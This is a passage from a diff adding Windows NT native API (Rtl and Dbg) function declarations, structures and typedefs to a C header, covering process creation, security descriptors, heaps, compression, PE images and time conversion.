+ } \ + (Buff)->Buffer = (Buff)->StaticBuffer; \ + (Buff)->Size = (Buff)->StaticSize; \ + } \ + } while (0) + + +/************************************************************************************ +* +* RTL Integer conversion API. +* +************************************************************************************/ + +NTSYSAPI +PWSTR +NTAPI +RtlIpv4AddressToStringW( + _In_ const struct in_addr *Addr, + _Out_ PWSTR S); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIpv4StringToAddressW( + _In_ PCWSTR AddressString, + _In_ BOOLEAN Strict, + _Out_ LPCWSTR *Terminator, + _Out_ struct in_addr *Address); + +//taken from ph2 + +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToChar( + _In_ ULONG Value, + _In_opt_ ULONG Base, + _In_ LONG OutputLength, + _Out_ PSTR String); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCharToInteger( + _In_ PSTR String, + _In_opt_ ULONG Base, + _Out_ PULONG Value); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLargeIntegerToChar( + _In_ PLARGE_INTEGER Value, + _In_opt_ ULONG Base, + _In_ LONG OutputLength, + _Out_ PSTR String); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToUnicodeString( + _In_ ULONG Value, + _In_opt_ ULONG Base, + _Inout_ PUNICODE_STRING String); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInt64ToUnicodeString( + _In_ ULONGLONG Value, + _In_opt_ ULONG Base, + _Inout_ PUNICODE_STRING String); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger( + _In_ PUNICODE_STRING String, + _In_opt_ ULONG Base, + _Out_ PULONG Value); + +/************************************************************************************ +* +* RTL Process/Thread API. +* +************************************************************************************/ + +typedef NTSTATUS(*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS(*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +// +// This structure is used only by Wow64 processes. The offsets +// of structure elements should the same as viewed by a native Win64 application. +// +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; + +NTSYSAPI +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + _In_ BOOLEAN NewValue, + _Out_opt_ PBOOLEAN OldValue, + _In_ BOOLEAN CheckFlag); + +NTSYSAPI +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + _In_ BOOLEAN NewValue, + _Out_opt_ PBOOLEAN OldValue, + _In_ BOOLEAN CheckFlag); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + _In_ BOOLEAN CloneCurrentEnvironment, + _Out_ PVOID *Environment); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironmentEx( + _In_ PVOID SourceEnv, + _Out_ PVOID *Environment, + _In_ ULONG Flags); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + _In_ PVOID Environment, + _Out_opt_ PVOID *PreviousEnvironment); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Name, + _Out_ PUNICODE_STRING Value); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + _In_ PVOID Environment); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParameters( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParametersEx( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserProcess( + _In_ PUNICODE_STRING NtImagePathName, + _In_ ULONG Attributes, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_opt_ HANDLE ParentProcess, + _In_ BOOLEAN InheritHandles, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformationn); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserThread( + _In_ HANDLE Process, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ BOOLEAN CreateSuspended, + _In_ ULONG StackZeroBits, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ SIZE_T InitialStackSize, + _In_ PUSER_THREAD_START_ROUTINE StartAddress, + _In_opt_ PVOID Parameter, + _Out_opt_ PHANDLE Thread, + _Out_opt_ PCLIENT_ID ClientId); + +NTSYSAPI +VOID +NTAPI +RtlExitUserThread( + _In_ NTSTATUS ExitStatus); + +NTSYSAPI +VOID +NTAPI +RtlExitUserProcess( + _In_ NTSTATUS ExitStatus); + +NTSYSAPI +VOID +NTAPI +RtlFreeUserThreadStack( + _In_ HANDLE hProcess, + _In_ HANDLE hThread); + +NTSYSAPI +VOID +NTAPI +RtlPushFrame( + _In_ PTEB_ACTIVE_FRAME Frame); + +NTSYSAPI +VOID +NTAPI +RtlPopFrame( + _In_ PTEB_ACTIVE_FRAME Frame); + +NTSYSAPI +PTEB_ACTIVE_FRAME +NTAPI +RtlGetFrame( + VOID); + +NTSYSAPI +PVOID +NTAPI +RtlEncodePointer( + _In_ PVOID Ptr); + +NTSYSAPI +PVOID +NTAPI +RtlDecodePointer( + _In_ PVOID Ptr); + +/************************************************************************************ +* +* RTL Memory Buffer API. +* +************************************************************************************/ + +NTSYSAPI +SIZE_T +NTAPI +RtlCompareMemoryUlong( + _In_ PVOID Source, + _In_ SIZE_T Length, + _In_ ULONG Pattern); + +NTSYSAPI +VOID +NTAPI +RtlFillMemoryUlong( + _Out_ PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONG Pattern); + +NTSYSAPI +VOID +NTAPI +RtlFillMemoryUlonglong( + _Out_ PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONGLONG Pattern); + +/************************************************************************************ +* +* RTL PEB API. +* +************************************************************************************/ + +NTSYSAPI +PPEB +NTAPI +RtlGetCurrentPeb( + VOID); + +NTSYSAPI +VOID +NTAPI +RtlAcquirePebLock( + VOID); + +NTSYSAPI +VOID +NTAPI +RtlReleasePebLock( + VOID); + +/************************************************************************************ +* +* RTL Exception Handling API. +* +************************************************************************************/ + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredExceptionHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler( + _In_ PVOID Handle); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDispatchException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord); + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredContinueHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredContinueHandler( + _In_ PVOID Handle); + +NTSYSAPI +VOID +NTAPI +RtlRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord); + +NTSYSAPI +DECLSPEC_NORETURN +VOID +NTAPI +RtlRaiseStatus( + _In_ NTSTATUS Status); + +NTSYSAPI +NTSTATUS +NTAPI +NtContinue( + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN TestAlert); + +NTSYSAPI +NTSTATUS +NTAPI +NtRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance); + +/************************************************************************************ +* +* RTL Security API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Owner, + _Out_ PBOOLEAN OwnerDefaulted); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Group, + _Out_ PBOOLEAN GroupDefaulted); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL *Dacl, + _Out_ PBOOLEAN DaclDefaulted); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAcl( + _Out_writes_bytes_(AclLength) PACL Acl, + _In_ ULONG AclLength, + _In_ ULONG AclRevision); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidAcl( + _In_ PACL Acl); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryInformationAcl( + _In_ PACL Acl, + _Out_writes_bytes_(AclInformationLength) PVOID AclInformation, + _In_ ULONG AclInformationLength, + _In_ ACL_INFORMATION_CLASS AclInformationClass); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetInformationAcl( + _Inout_ PACL Acl, + _In_reads_bytes_(AclInformationLength) PVOID AclInformation, + _In_ ULONG AclInformationLength, + _In_ ACL_INFORMATION_CLASS AclInformationClass); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG StartingAceIndex, + _In_reads_bytes_(AceListLength) PVOID AceList, + _In_ ULONG AceListLength); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteAce( + _Inout_ PACL Acl, + _In_ ULONG AceIndex); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAce( + _In_ PACL Acl, + _In_ ULONG AceIndex, + _Outptr_ PVOID *Ace); + +NTSYSAPI +BOOLEAN +NTAPI +RtlFirstFreeAce( + _In_ PACL Acl, + _Out_ PVOID *FirstFree); + +NTSYSAPI +BOOLEAN +NTAPI +RtlOwnerAcesPresent( + _In_ PACL pAcl); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessAceEx( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ GUID *ObjectTypeGuid, + _In_opt_ GUID *InheritedObjectTypeGuid, + _In_ PSID Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessDeniedObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ GUID *ObjectTypeGuid, + _In_opt_ GUID *InheritedObjectTypeGuid, + _In_ PSID Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAuditAccessObjectAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ACCESS_MASK AccessMask, + _In_opt_ GUID *ObjectTypeGuid, + _In_opt_ GUID *InheritedObjectTypeGuid, + _In_ PSID Sid, + _In_ BOOLEAN AuditSuccess, + _In_ BOOLEAN AuditFailure); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddCompoundAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask, + _In_ PSID ServerSid, + _In_ PSID ClientSid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddMandatoryAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ PSID Sid, + _In_ UCHAR AceType, + _In_ ACCESS_MASK AccessMask); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDefaultNpAcl( + _Out_ PACL *Acl); + +NTSYSAPI +ULONG +NTAPI +RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor); + +NTSYSAPI +VOID +NTAPI +RtlMapGenericMask( + _In_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping); + +NTSYSAPI +BOOLEAN +NTAPI +RtlValidSid( + _In_ PSID Sid); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid( + _In_ PSID Sid1, + _In_ PSID Sid2); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualPrefixSid( + _In_ PSID Sid1, + _In_ PSID Sid2); + +NTSYSAPI +ULONG +NTAPI +RtlLengthRequiredSid( + _In_ ULONG SubAuthorityCount); + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + _In_ PSID Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount, + _In_ ULONG SubAuthority0, + _In_ ULONG SubAuthority1, + _In_ ULONG SubAuthority2, + _In_ ULONG SubAuthority3, + _In_ ULONG SubAuthority4, + _In_ ULONG SubAuthority5, + _In_ ULONG SubAuthority6, + _In_ ULONG SubAuthority7, + _Out_ PSID *Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeSid( + _Out_ PSID Sid, + _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + _In_ UCHAR SubAuthorityCount); + +NTSYSAPI +PSID_IDENTIFIER_AUTHORITY +NTAPI +RtlIdentifierAuthoritySid( + _In_ PSID Sid); + +NTSYSAPI +PULONG +NTAPI +RtlSubAuthoritySid( + _In_ PSID Sid, + _In_ ULONG SubAuthority); + +NTSYSAPI +PUCHAR +NTAPI +RtlSubAuthorityCountSid( + _In_ PSID Sid); + +NTSYSAPI +ULONG +NTAPI +RtlLengthSid( + _In_ PSID Sid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySid( + _In_ ULONG DestinationSidLength, + _In_ PSID DestinationSid, + _In_ PSID SourceSid); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySidAndAttributesArray( + _In_ ULONG ArrayLength, + _In_ PSID_AND_ATTRIBUTES Source, + _In_ ULONG TargetSidBufferSize, + _Out_ PSID_AND_ATTRIBUTES TargetArrayElement, + _Out_ PSID TargetSid, + _Out_ PSID *NextTargetSid, + _Out_ PULONG RemainingTargetSidBufferSize); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLengthSidAsUnicodeString( + _In_ PSID Sid, + _Out_ PULONG StringLength); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertSidToUnicodeString( + _In_ PUNICODE_STRING UnicodeString, + _In_ PSID Sid, + _In_ BOOLEAN AllocateDestinationString); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateServiceSid( + _In_ PUNICODE_STRING ServiceName, + _Out_writes_bytes_opt_(*ServiceSidLength) PSID ServiceSid, + _Inout_ PULONG ServiceSidLength); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Revision); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ PSID Owner, + _In_ BOOLEAN OwnerDefaulted); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR InputSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR *OutputSecurityDescriptor); + +FORCEINLINE LUID NTAPI RtlConvertLongToLuid( + _In_ LONG Long +) +{ + LUID TempLuid; + LARGE_INTEGER TempLi; + + TempLi.QuadPart = Long; + TempLuid.LowPart = TempLi.LowPart; + TempLuid.HighPart = TempLi.HighPart; + return(TempLuid); +} + +NTSYSAPI +ULONG +NTAPI +RtlUniform( + _Inout_ PULONG Seed); + +NTSYSAPI +ULONG +NTAPI +RtlRandomEx( + _Inout_ PULONG Seed); + +NTSYSAPI +ULONG32 +NTAPI +RtlComputeCrc32( + _In_ ULONG32 PartialCrc, + _In_ PVOID Buffer, + _In_ ULONG Length); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAdjustPrivilege( + _In_ ULONG Privilege, + _In_ BOOLEAN Enable, + _In_ BOOLEAN Client, + _Out_ PBOOLEAN WasEnabled); + +/************************************************************************************ +* +* RTL Version API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetVersion( + _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation); + +NTSYSAPI +VOID +NTAPI +RtlGetNtVersionNumbers( + _Out_opt_ PULONG MajorVersion, + _Out_opt_ PULONG MinorVersion, + _Out_opt_ PULONG BuildNumber); + +/************************************************************************************ +* +* RTL Error Status API. +* +************************************************************************************/ + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + _In_ NTSTATUS Status); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + _In_ LONG Win32Error); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + VOID); + +NTSYSAPI +LONG +NTAPI +RtlGetLastWin32Error( + VOID); + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + _In_ NTSTATUS Status); + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + _In_ NTSTATUS Status); + +/************************************************************************************ +* +* RTL WOW64 Support API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64EnableFsRedirection( + _In_ BOOLEAN Wow64FsEnableRedirection); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64EnableFsRedirectionEx( + _In_ PVOID DisableFsRedirection, + _Out_ PVOID *OldFsRedirectionLevel); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64GetThreadContext( + _In_ HANDLE ThreadHandle, + _Inout_ PWOW64_CONTEXT ThreadContext); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64SetThreadContext( + _In_ HANDLE ThreadHandle, + _In_ PWOW64_CONTEXT ThreadContext); + +/************************************************************************************ +* +* RTL Heap Management API. +* +************************************************************************************/ + +typedef NTSTATUS(NTAPI * PRTL_HEAP_COMMIT_ROUTINE)( + _In_ PVOID Base, + _Inout_ PVOID *CommitAddress, + _Inout_ PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS { + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +NTSYSAPI +PVOID +NTAPI +RtlCreateHeap( + _In_ ULONG Flags, + _In_opt_ PVOID HeapBase, + _In_opt_ SIZE_T ReserveSize, + _In_opt_ SIZE_T CommitSize, + _In_opt_ PVOID Lock, + _In_opt_ PRTL_HEAP_PARAMETERS Parameters); + +NTSYSAPI +PVOID +NTAPI +RtlDestroyHeap( + _In_ PVOID HeapHandle); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _In_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryHeapInformation( + _In_ PVOID HeapHandle, + _In_ HEAP_INFORMATION_CLASS HeapInformationClass, + _Out_opt_ PVOID HeapInformation, + _In_opt_ SIZE_T HeapInformationLength, + _Out_opt_ PSIZE_T ReturnLength); + +NTSYSAPI +PVOID +NTAPI +RtlAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ SIZE_T Size); + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress); + +NTSYSAPI +NTSTATUS +NTAPI +RtlZeroHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags); + +NTSYSAPI +SIZE_T +NTAPI +RtlSizeHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress); + +NTSYSAPI +VOID +NTAPI +RtlProtectHeap( + _In_ PVOID HeapHandle, + _In_ BOOLEAN MakeReadOnly); + +NTSYSAPI +PVOID +NTAPI +RtlReAllocateHeap( + _In_ PVOID HeapHandle, + _In_ ULONG Flags, + _Frees_ptr_opt_ PVOID BaseAddress, + _In_ SIZE_T Size); + +NTSYSAPI +ULONG +NTAPI +RtlGetProcessHeaps( + _In_ ULONG NumberOfHeaps, + _Out_ PVOID *ProcessHeaps); + +typedef NTSTATUS(NTAPI *PRTL_ENUM_HEAPS_ROUTINE)( + _In_ PVOID HeapHandle, + _In_ PVOID Parameter + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnumProcessHeaps( + _In_ PRTL_ENUM_HEAPS_ROUTINE EnumRoutine, + _In_ PVOID Parameter); + +/************************************************************************************ +* +* RTL Compression API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCompressBuffer( + _In_ USHORT CompressionFormatAndEngine, + _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_writes_bytes_to_(CompressedBufferSize, *FinalCompressedSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBuffer( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBufferEx( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace); + +/************************************************************************************ +* +* RTL Image API. +* +************************************************************************************/ + +#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK (0x00000001) + +NTSYSAPI +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + _In_ PVOID Base); + +NTSYSAPI +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + _In_ ULONG Flags, + _In_ PVOID Base, + _In_ ULONG64 Size, + _Out_ PIMAGE_NT_HEADERS * OutHeaders); + +NTSYSAPI +PVOID +NTAPI +RtlAddressInSectionTable( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress); + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress); + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData( + _In_ PVOID BaseOfImage, + _In_ BOOLEAN MappedAsImage, + _In_ USHORT DirectoryEntry, + _Out_ PULONG Size); + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID Base, + _In_ ULONG Rva); + +NTSYSAPI +PVOID +NTAPI +RtlImageRvaToVa( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID Base, + _In_ ULONG Rva, + _Inout_opt_ PIMAGE_SECTION_HEADER *LastRvaSection); + +NTSYSAPI +PVOID +NTAPI +RtlFindExportedRoutineByName( + _In_ PVOID BaseOfImage, + _In_ PSTR RoutineName); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGuardCheckLongJumpTarget( + _In_ PVOID PcValue, + _In_ BOOL IsFastFail, + _Out_ PBOOL IsLongJumpTarget); + +/************************************************************************************ +* +* RTL Time API. +* +************************************************************************************/ + +NTSYSAPI +VOID +NTAPI +RtlSecondsSince1970ToTime( + _In_ ULONG ElapsedSeconds, + _Out_ PLARGE_INTEGER Time); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeToSecondsSince1970( + _In_ PLARGE_INTEGER Time, + _Out_ PULONG ElapsedSeconds); + + +NTSYSAPI +VOID +NTAPI +RtlSecondsSince1980ToTime( + _In_ ULONG ElapsedSeconds, + _Out_ PLARGE_INTEGER Time); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeToSecondsSince1980( + _In_ PLARGE_INTEGER Time, + _Out_ PULONG ElapsedSeconds); + +NTSYSAPI +VOID +NTAPI +RtlTimeToTimeFields( + _In_ PLARGE_INTEGER Time, + _Out_ PTIME_FIELDS TimeFields); + +NTSYSAPI +BOOLEAN +NTAPI +RtlTimeFieldsToTime( + _In_ PTIME_FIELDS TimeFields, + _Out_ PLARGE_INTEGER Time); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSystemTimeToLocalTime( + _In_ PLARGE_INTEGER SystemTime, + _Out_ PLARGE_INTEGER LocalTime); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLocalTimeToSystemTime( + _In_ PLARGE_INTEGER LocalTime, + _Out_ PLARGE_INTEGER SystemTime); + +/************************************************************************************ +* +* RTL Debug Support API. +* +************************************************************************************/ + +NTSYSAPI +ULONG +STDAPIVCALLTYPE +DbgPrint( + _In_z_ _Printf_format_string_ PCH Format, + ...); + +NTSYSAPI +ULONG +STDAPIVCALLTYPE +DbgPrintEx( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_z_ _Printf_format_string_ PSTR Format, + ...); + +NTSYSAPI +NTSTATUS +NTAPI +DbgQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level); + +NTSYSAPI +NTSTATUS +NTAPI +DbgSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State); + +NTSYSAPI 